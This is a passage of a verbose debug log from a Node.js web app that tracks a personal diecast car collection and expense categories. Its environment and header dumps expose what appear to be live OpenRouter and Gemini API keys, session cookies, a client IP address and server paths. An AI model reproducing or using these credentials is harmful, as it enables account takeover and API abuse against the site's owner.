      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T10:54:42.270Z server-connect:router Serving serverConnect /api/diecast/delete-image
2026-02-04T10:54:42.270Z server-connect:app Executing action step identify
2026-02-04T10:54:42.271Z server-connect:app options: { provider: 'security' }
2026-02-04T10:54:42.271Z server-connect:output identity: 1
2026-02-04T10:54:42.271Z server-connect:app Executing action step restrict
2026-02-04T10:54:42.271Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:54:42.271Z server-connect:output restrict: undefined
2026-02-04T10:54:42.271Z server-connect:app Executing action step single
2026-02-04T10:54:42.271Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object] ],
    params: [ [Object] ],
    table: { name: 'diecast_images' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `image_url` from `diecast_images` where `diecast_images`.`id` = ?'
  }
}
2026-02-04T10:54:42.271Z server-connect:output diecast_image: {
  image_url: '/public/assets/images/diecast/20250923_222143_045079b2-2cfa-4793-9486-1495d9456fa7.jpg'
}
2026-02-04T10:54:42.271Z server-connect:app Executing action step delete
2026-02-04T10:54:42.271Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'diecast_images',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `diecast_images` where `id` = ? and `diecast_id` = ?',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T10:54:42.272Z server-connect:output delete: { affected: 1 }
2026-02-04T10:54:42.272Z server-connect:app Executing action step remove
2026-02-04T10:54:42.272Z server-connect:app options: { path: '{{diecast_image.image_url}}' }
2026-02-04T10:54:42.272Z server-connect:output fileRemove: true
2026-02-04T10:54:42.532Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:54:42.532Z server-connect:app Executing action step identify
2026-02-04T10:54:42.532Z server-connect:app options: { provider: 'security' }
2026-02-04T10:54:42.532Z server-connect:output identity: 1
2026-02-04T10:54:42.532Z server-connect:app Executing action step restrict
2026-02-04T10:54:42.533Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:54:42.533Z server-connect:output restrict: undefined
2026-02-04T10:54:42.533Z server-connect:app Executing action step paged
2026-02-04T10:54:42.533Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:54:42.534Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T10:54:42.817Z server-connect:router Serving templateView /
2026-02-04T10:54:42.818Z server-connect:app Executing action step identify
2026-02-04T10:54:42.818Z server-connect:app options: { provider: 'security' }
2026-02-04T10:54:42.818Z server-connect:output identity: 1
2026-02-04T10:54:42.818Z server-connect:app Executing action step restrict
2026-02-04T10:54:42.818Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:54:42.818Z server-connect:output restrict: undefined
2026-02-04T10:54:42.818Z server-connect:app Executing action step restrict
2026-02-04T10:54:42.818Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:54:42.818Z server-connect:output restrict: undefined
2026-02-04T10:54:42.818Z server-connect:router Render template layouts/main
2026-02-04T10:54:42.819Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=174&manufacturer=&condition=',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=174&manufacturer=&condition=',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T10:55:29.903Z server-connect:router Serving templateView /diecast
2026-02-04T10:55:29.903Z server-connect:app Executing action step identify
2026-02-04T10:55:29.903Z server-connect:app options: { provider: 'security' }
2026-02-04T10:55:29.903Z server-connect:output identity: 1
2026-02-04T10:55:29.903Z server-connect:app Executing action step restrict
2026-02-04T10:55:29.903Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:55:29.905Z server-connect:output restrict: undefined
2026-02-04T10:55:29.905Z server-connect:router Render template layouts/main
2026-02-04T10:55:29.905Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {
    brand: '',
    search: '',
    series: '174',
    manufacturer: '',
    condition: ''
  },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'brand=&search=&series=174&manufacturer=&condition=',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast'
}
2026-02-04T10:55:30.745Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-04T10:55:30.746Z server-connect:app Executing action step identify
2026-02-04T10:55:30.746Z server-connect:app options: { provider: 'security' }
2026-02-04T10:55:30.746Z server-connect:output identity: 1
2026-02-04T10:55:30.746Z server-connect:app Executing action step restrict
2026-02-04T10:55:30.746Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:55:30.746Z server-connect:output restrict: undefined
2026-02-04T10:55:30.746Z server-connect:app Executing action step select
2026-02-04T10:55:30.746Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-04T10:55:30.753Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
